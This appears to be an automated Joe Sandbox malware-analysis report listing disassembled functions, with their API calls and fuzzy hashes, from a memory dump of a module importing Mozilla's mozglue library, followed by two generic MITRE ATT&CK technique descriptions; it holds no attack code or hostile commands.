Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: e29a26866c7d49f25e7135641eb2c416023734cf96b9dabc38954beb0494296e
Instruction ID: 430e4d399ab97e2758ed622ba103a8108f169e8d23c8b3dffa12972f1bfa19c8
Opcode Fuzzy Hash: e29a26866c7d49f25e7135641eb2c416023734cf96b9dabc38954beb0494296e
Instruction Fuzzy Hash: 1211C038A08B45E7D7128F29C40476AF3B5FF96318F20970AE84952A02EBB0F5D48794

Function 6C973DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C93F20E,?), ref: 6C973DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C93F20E,00000000,?), ref: 6C973DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C973E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C973E0E

Part of subcall function 6C96CC00: GetCurrentProcess.KERNEL32(?,?,6C9331A7), ref: 6C96CC0D
Part of subcall function 6C96CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9331A7), ref: 6C96CC16

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 7e2fb4cb89d8c9b646d05fa17c0a6a6f2db548186924566b40bd188745aa7a27
Instruction ID: 5dcc09e89f79356cfd51b081fc4d260e45f113639bc81fa2cb1d8569f3365af1
Opcode Fuzzy Hash: 7e2fb4cb89d8c9b646d05fa17c0a6a6f2db548186924566b40bd188745aa7a27
Instruction Fuzzy Hash: 95F012756002087BDB00AB54DC81DAB376DEF56628F140424FD0957741D636FD2586FB

Function 6C9820B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9820B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C96FBD1), ref: 6C9820C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C96FBD1), ref: 6C9820DA
free.MOZGLUE(00000000,?,6C96FBD1), ref: 6C9820F1

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: ceed83a6c032548c1ecb4c73f01a00a137e11b0e4f963356a990b4704dc7281e
Instruction ID: f8702d3f9ccd805f007a6fcf6a9248709e53cd19a209c8822e0a29d933098b14
Opcode Fuzzy Hash: ceed83a6c032548c1ecb4c73f01a00a137e11b0e4f963356a990b4704dc7281e
Instruction Fuzzy Hash: 0CE0E575605A14ABC3209F25984854FB7F9EF96214B20062AF54AC3B00D775F54A86D9

Function 6C9885B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9885D3

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C988725

Strings

map/set<T> too long, xrefs: 6C988720

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a7c36dfb262a4a0b556f8da90c4ca3f7d8dcccd9625704c5fc0a31ce126c0572
Instruction ID: a6b499abe8690df89ee0867731c78648ccd437cc45a7bde22264642223788a7a
Opcode Fuzzy Hash: a7c36dfb262a4a0b556f8da90c4ca3f7d8dcccd9625704c5fc0a31ce126c0572
Instruction Fuzzy Hash: 765186B4602645CFC705CF18C084B56BBF1BF5A318F18CA8AD8595BB52C335E885CFA6

Function 6C93BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C93BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C93BE8F

Strings

0, xrefs: 6C93BE5B

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 9309eb5dba93e5fdaa3cbac4db5acf30c165d42fb7304bb5932f71a3f644b48c
Instruction ID: eb43aa76b030a285c851cdcde1526041a2b8856300b8205c60b1a1208fa67899
Opcode Fuzzy Hash: 9309eb5dba93e5fdaa3cbac4db5acf30c165d42fb7304bb5932f71a3f644b48c
Instruction Fuzzy Hash: 9B41E271909B55CFC311CF38C481A9BB7F4EF9A348F009A1DF999A7651E730D9488B82

Function 6C973CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C973D19
mozalloc_abort.MOZGLUE(?), ref: 6C973D6C

Strings

d, xrefs: 6C973D58

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: e04803f12f7d871ee53e6cff56517c4eca469b5d876c7b10069d06223fefcab4
Instruction ID: bde5d0ad0f23ce39f494df7e0c348479364c8ee1fec9be4dcbcf68869896ef55
Opcode Fuzzy Hash: e04803f12f7d871ee53e6cff56517c4eca469b5d876c7b10069d06223fefcab4
Instruction Fuzzy Hash: E5112732E08688E7DB109BB9C9144EEB779FF96318B448319DC4597702FB30E584C360

Function 6C944730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9444B2,6C9BE21C,6C9BF7F8), ref: 6C94473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C94474A

Strings

GetNtLoaderAPI, xrefs: 6C944744

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 23001a65d95fc95eadbd50f6153a97ef33f3a294d1e7a97cd9648942142cccbb
Instruction ID: 3765687aa06cdfd655eb1754c7daf407884bfb0a06fc90e7464e4015df650c0e
Opcode Fuzzy Hash: 23001a65d95fc95eadbd50f6153a97ef33f3a294d1e7a97cd9648942142cccbb
Instruction Fuzzy Hash: EC019279309354AFDF009F65888461A7BB9EB8B715B154069E906C7350DB74D802CFA5

Function 6C996DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C996E22
__Init_thread_footer.LIBCMT ref: 6C996E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C996E1D

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 40b34511dc0a5b449d1ea9ea662c9b0d5a038fd6d05167df6ff33e883695d965
Instruction ID: 931f72748fe9b930c0b885df100a646738681d58e96fdc8cc07338b506d82e26
Opcode Fuzzy Hash: 40b34511dc0a5b449d1ea9ea662c9b0d5a038fd6d05167df6ff33e883695d965
Instruction Fuzzy Hash: 75F0B47D60D24AEBEB008BBCC850A937775576721CF280165CC0546F91D731E92ACAEB

Function 6C949E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C949EEF

Strings

Infinity, xrefs: 6C949EB7
NaN, xrefs: 6C949EC1

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: f8dd424eeb593c87a5f7a7286240c2f82c162e2eecc87b06fe396b66a9bd895b
Instruction ID: 4324c3f2c7d57efc56373e6c7d38bc37584c108da0ff9cfbf2e89662903e4845
Opcode Fuzzy Hash: f8dd424eeb593c87a5f7a7286240c2f82c162e2eecc87b06fe396b66a9bd895b
Instruction Fuzzy Hash: 76F0497D608241EAEB008F6CE946B973375A7D731DF304A59C5081AB80E735E64ACB8A

Function 6C94BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C94BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C94BEF5

Strings

cryptbase.dll, xrefs: 6C94BEF0

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c384ab86d2143dd5b64dd746c8ec8863ec9d2fa5c87790257fc045823374c771
Instruction ID: 9c6843b243cd0c66a7efb14594550b44c9556b2b9ec3c088f4c646e07ebe2831
Opcode Fuzzy Hash: c384ab86d2143dd5b64dd746c8ec8863ec9d2fa5c87790257fc045823374c771
Instruction Fuzzy Hash: 4BD0C731194508F6D7506AA48D49F1F37789755715F20C021F755549A1C7B1D450DFD4

Function 6C9350E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C934E9C,?,?,?,?,?), ref: 6C93510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C934E9C,?,?,?,?,?), ref: 6C935167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C935196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C934E9C), ref: 6C935234

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: ba07735fb69abb9669c4983ab35ef74239abbc8849490f8382f4c19f69164483
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: E691AE75505666CFCB14CF08C490A5ABBA6FF99318B28868CDC589B715D732FD82CBE0

Function 6C9708F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C970918
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9709A6
EnterCriticalSection.KERNEL32(6C9BE7DC,?,00000000), ref: 6C9709F3
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C970ACB

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: e014169188706f0f37b9be1e0c765c1a3fba8cc496b5d0d6ada27da5cf280e84
Instruction ID: 333d034526032a2092b944541413d14b9abca9dd1f356076e708289d2206a6b3
Opcode Fuzzy Hash: e014169188706f0f37b9be1e0c765c1a3fba8cc496b5d0d6ada27da5cf280e84
Instruction Fuzzy Hash: FE515C36B07650DBEF189A29C49462733B9EBC2F24B34957AD86597FC0D732EC0186E4

Function 6C98B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B628

Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C9890FF
Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C989108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C98B127,?,?,?,?,?,?,?,?), ref: 6C98B74D

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: edf36e881ec820b75507d767afd00c0493e1d5c4c83c154398539db8eecfc354
Instruction ID: 2fcfd06d3e0be8a95e03f1e76178f6dba52d5e97c36590db57580a29b84da89b
Opcode Fuzzy Hash: edf36e881ec820b75507d767afd00c0493e1d5c4c83c154398539db8eecfc354
Instruction Fuzzy Hash: 2451CB71A063168BEF14CF18C98066EB7B5FF85714F59892DD85AABB10DB31E804CBA1

Function 6C98DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C97FF2A), ref: 6C98DFFD

Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C9890FF
Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C989108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C97FF2A), ref: 6C98E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C97FF2A), ref: 6C98E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C97FF2A), ref: 6C98E0FE

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 00415ff9590467d514bc8552f378d24e0878321413939d452f2934ebb070dc54
Instruction ID: b0f313c279c09cd5a5379f4e00dd67816b5770ad7f0ae3fa48757986aa099d15
Opcode Fuzzy Hash: 00415ff9590467d514bc8552f378d24e0878321413939d452f2934ebb070dc54
Instruction Fuzzy Hash: 6B41D4B970A206CFEB14CF68C8A076A73B6BB46308F244D39D516DB740E731E904CB92

Function 6C986E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C986EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C986EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C986F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C986F5C

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 0c010409da1a80adaa53b45fe10dce7b9c317d3a90893c3da6a8d53de855d19c
Instruction ID: 5d658adb7f9bd6a054d040df3a810e526cad90dbf0824fdf2abb280aadba6d1b
Opcode Fuzzy Hash: 0c010409da1a80adaa53b45fe10dce7b9c317d3a90893c3da6a8d53de855d19c
Instruction Fuzzy Hash: 0231F671A2160A8FDB04CF2CC981AAA73E9FF94304F50453DD41ACB661EF31E669C7A1

Function 6C99B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C940A4D), ref: 6C99B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C940A4D), ref: 6C99B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C940A4D), ref: 6C99B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C940A4D), ref: 6C99B67F

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: eed9b71bea18079e72142323abdc8058d20ac8fad6d56ee39c923e9ba544756b
Instruction ID: 8acc8fb5a9dbbb84c646dcbb8c73ea7d3757ce5fc067766514465aa767f47405
Opcode Fuzzy Hash: eed9b71bea18079e72142323abdc8058d20ac8fad6d56ee39c923e9ba544756b
Instruction Fuzzy Hash: A2310671A0021A8FDB20CF58C84466ABBF9FF81325F1A8529D80ADB311DB35F915CBE0

Function 6C96F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C96F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C96F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C96F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C96F668

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 5e7458d6f5d138586bc0b72184c461edd8654fd4f4c94c9e2514e18a1f5a2d3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 92316171A00214AFDB14CF5ECDC0AAB77B9EB94358B14853CFA4A8BF04D632ED458B90

Function 6C9826B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9826C1
free.MOZGLUE(?), ref: 6C9826E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9826FF
free.MOZGLUE ref: 6C98270D

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 82790be9d13565d0be33615a22db6d8635ec1bfe9e5e680c8695c9db8f5978b4
Instruction ID: bfe6920157d03f7a46c69c24bcdb804644286aab3d25539f9093387ba293ba96
Opcode Fuzzy Hash: 82790be9d13565d0be33615a22db6d8635ec1bfe9e5e680c8695c9db8f5978b4
Instruction Fuzzy Hash: 0EF0F9B27026056BEB009A18D88495B73ADEF51218B600435FA16C3B02E332F918C6A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
